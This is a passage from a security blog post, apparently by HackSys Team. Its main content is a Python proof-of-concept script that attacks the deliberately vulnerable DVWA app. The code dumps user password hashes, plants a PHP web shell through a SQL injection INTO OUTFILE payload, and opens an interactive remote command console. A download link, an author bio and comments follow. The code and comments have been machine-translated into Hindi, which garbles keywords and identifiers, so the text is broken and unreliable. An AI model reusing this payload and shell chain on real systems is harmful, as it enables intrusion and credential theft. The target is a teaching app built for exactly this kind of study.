    प्रिंट ग्रीन + "\टीप्रयोक्ता नाम: ",  formatted_output[4]
    प्रिंट ग्रीन + "\टीपासवर्ड हैश : ",  formatted_output[5]
    प्रिंट ""


#इंटरैक्टिव हमले के लिए एक tinyShell अपलोड करने की कोशिश
डीईएफ़ uploadShellViaSQLi(adminCookie):
 
    प्रिंट(सियान + "[+] SQLI के माध्यम से अपलोड हो शैल ...")
   
    #Windows XP पर XAMPP
    #injection_url = "1%27+UNION+SELECT+%27%27%2C+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+INTO+OUTFILE+%27C%3A%5C%5Cxampp%5C%5Chtdocs%5C%5Cdvwa%5C%5Cshell.php%27%3B%23"

    #लिनक्स
    injection_url = "1%27+UNION+ALL+SELECT+%27%27%2C+%27%3C%3Fphp+system(base64_decode(%24_GET[%22अध्यक्ष तथा प्रबंध निदेशक% 22% 5D% 29% 29% 3 बी % 3F% 3E% 27 में outfile% 27% 2Fvar% 2Fwww% 2Fdvwa% 2 एफ" + shellName + ".php%27%3B%23"
   
    targetURL = "एचटीटीपी://" + विकल्प.लक्ष्य + विकल्प.dirPath + urlStart + injection_url + urlEnd
    डेटा = ""
   
    मुख्य न्यायाधीश = adminCookie #कुकी doLogin से लौटे प्रयोग करें() समारोह

    #सर्वर से प्रतिक्रिया पाने के लिए और यह एक चर में दुकान
    respHTML = getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा)

    अगर फिर से.खोज("<h3>यूजर आईडी:</h3>", respHTML):
      समय.नींद(1)
      typingText("\टीw00t -- शैल सफलतापूर्वक अपलोड ...\पता\पता", ग्रीन)
    Elif फिर से.खोज("already exists</पूर्व>", respHTML):
      समय.नींद(1)
      typingText("\टीw00t -- शैल पहले से ही मौजूद है ...\पता\पता", ग्रीन)  
    अन्य:
      समय.नींद(1)
      typingText("\टीo00w -- खोल अपलोड करने में असमर्थ ...\पता\पता", लाल)
      व्यवस्था.निकास(1)


#इंटरैक्टिव हमले सत्र प्रारंभ
डीईएफ़ interactiveAttack(adminCookie):
 
  प्रिंट सियान + "[+] इंटरैक्टिव दूरस्थ कंसोल में प्रवेश कर (छोड़ने के लिए क्ष)\पता" + सफेद + "\पता  HackSys टीम - पेंथेरा\पता   लेखक: अशफाक अंसारी\पता  hacksysteam@hotmail.com\पता एचटीटीपी://hacksys.vfreaks.com /\पता\पता"
  हेमवती = ग्रीन + "% S @% s " % (getpass.getuser(), विकल्प.लक्ष्य) + सफेद
  सीएमडी = ""
  डेटा = ""
  मुख्य न्यायाधीश = adminCookie
  जब सीएमडी != 'क्ष':
    कोशिश:
      सीएमडी = raw_input(हेमवती)
      cmd64 = base64.b64encode(सीएमडी)      
      targetURL = ("एचटीटीपी://%s%% s.php?अध्यक्ष तथा प्रबंध निदेशक =% है" % (विकल्प.लक्ष्य, विकल्प.dirPath, shellName, cmd64))
      या = getServerResponse(मुख्य न्यायाधीश, targetURL, cmd64)
      shellOutput = या.विभाजित करें("व्यवस्थापक")
      प्रिंट सफेद + shellOutput[2]
    सिवाय:
      तोड़ना
 
  # आत्महत्या
  rmShell = base64.b64encode("RM% s.php" % (shellName))
  targetURL = ("एचटीटीपी://%s%% s.php?अध्यक्ष तथा प्रबंध निदेशक =% है" % (विकल्प.लक्ष्य, विकल्प.dirPath, shellName, rmShell))
  या = getServerResponse(मुख्य न्यायाधीश, targetURL, rmShell)

     
#मुख्य कार्य
डीईएफ़ मुख्य():
 
  #टंकण पाठ शैली में बैनर प्रिंट
  typingText(descLogo, बैंगनी)
 
  #का उपयोग कर पी तर्क निर्दिष्ट प्रॉक्सी सर्वर की जाँच करें और कनेक्ट
  अगर विकल्प.प्रतिनिधि:
    testProxy()

  #व्यवस्थापक कुकी पकड़ो
  adminCookie = doLogin()
 
  #सुरक्षा स्तर छेड़छाड़
  lowSecurity(adminCookie)
 
  #टेस्ट SQL इंजेक्शन भेद्यता
  testSQLinjection(adminCookie)
 
  #MySQL के विवरण डंप
  findMySQLInfo(adminCookie)
 
  #उपयोगकर्ताओं को तालिका में अभिलेखों की संख्या का पता लगाएं
  कुल अभिलेख = पूर्णांक(findNoOfRecordsInTable(adminCookie))
 
  प्रिंट(सियान + "[+] उपयोगकर्ता नाम और पासवर्ड पुन: प्राप्त करने ...")
 
  के लिए अनुक्रमणिका में सीमा(1,totalRecords 1):
    #उपयोग पासवर्ड डंप
    findUserPasswords(adminCookie, अनुक्रमणिका)
 
  #TinyShell अपलोड
  uploadShellViaSQLi(adminCookie)
 
  #इंटरैक्टिव हमले प्रारंभ
  interactiveAttack(adminCookie)
 
अगर __name__ == "__main__":
    मुख्य()

अरे संवेदनशील वेब अनुप्रयोग डाउनलोड – SQL इंजेक्शन PoC

 

DVWA_SQLi.zip

 
इस पोस्ट को पढ़ने के लिए अपने समय लेने के लिए धन्यवाद. आप किसी भी मुद्दे का सामना करते हैं, पर हमें लिखने में संकोच न करें: hacksysteam@hotmail.com

 
 

178,057 कुल देखा गया, 38 विचारों आज

निम्नलिखित दो टैब नीचे सामग्री को बदलने.

अशफाक अंसारी

सुरक्षा शोधक
अशफाक अंसारी का नाम दिया HackSys टीम कोड के संस्थापक है "पेंथेरा". उन्होंने कहा कि सूचना सुरक्षा के विभिन्न पहलुओं में अनुभव के साथ एक सुरक्षा शोधकर्ता है. उन्होंने लिखा है, "HackSys चरम कमजोर चालक" और "मौत की shellcode". उन्होंने यह भी लिखा है और निम्न स्तर के सॉफ्टवेयर शोषण पर विभिन्न whitepapers प्रकाशित किया है. उनकी कोर हित में निहित है "निम्न स्तर शोषण", "रिवर्स इंजीनियरिंग", "कार्यक्रम के विश्लेषण" और "हाइब्रिड Fuzzing". उन्होंने कहा कि आर्टिफिशियल इंटेलिजेंस और मशीन लर्निंग के एक fanboy है. उन्होंने कहा कि के लिए अध्याय का नेतृत्व है अशक्त पुणे.

कोई जवाब करने के लिए “अरे संवेदनशील वेब अनुप्रयोग – SQL इंजेक्शन”

Trackbacks Pingbacks /

  1. अरे संवेदनशील वेब अनुप्रयोग - स्थानीय फ़ाइल का समावेश (LFI) | HackSys टीम - कंप्यूटर सुरक्षा अनुसंधान, प्रवेश परीक्षण, एथिकल हैकिंग, विंडोज तकनीकी सहायता - [...] जब आप पहली बार हिस्सा नहीं पढ़ा है, यहाँ लिंक है: एचटीटीपी://hacksys.vfreaks.com / कलम परीक्षण / लानत-चपेट-वेब अनुप्रयोग-एसक्यूएल-injection.html [...]

एक उत्तर दें छोड़ दो

आपका ईमेल पता प्रकाशित नहीं किया जाएगा. आवश्यक क्षेत्रः चिह्नित कर रहे हैं *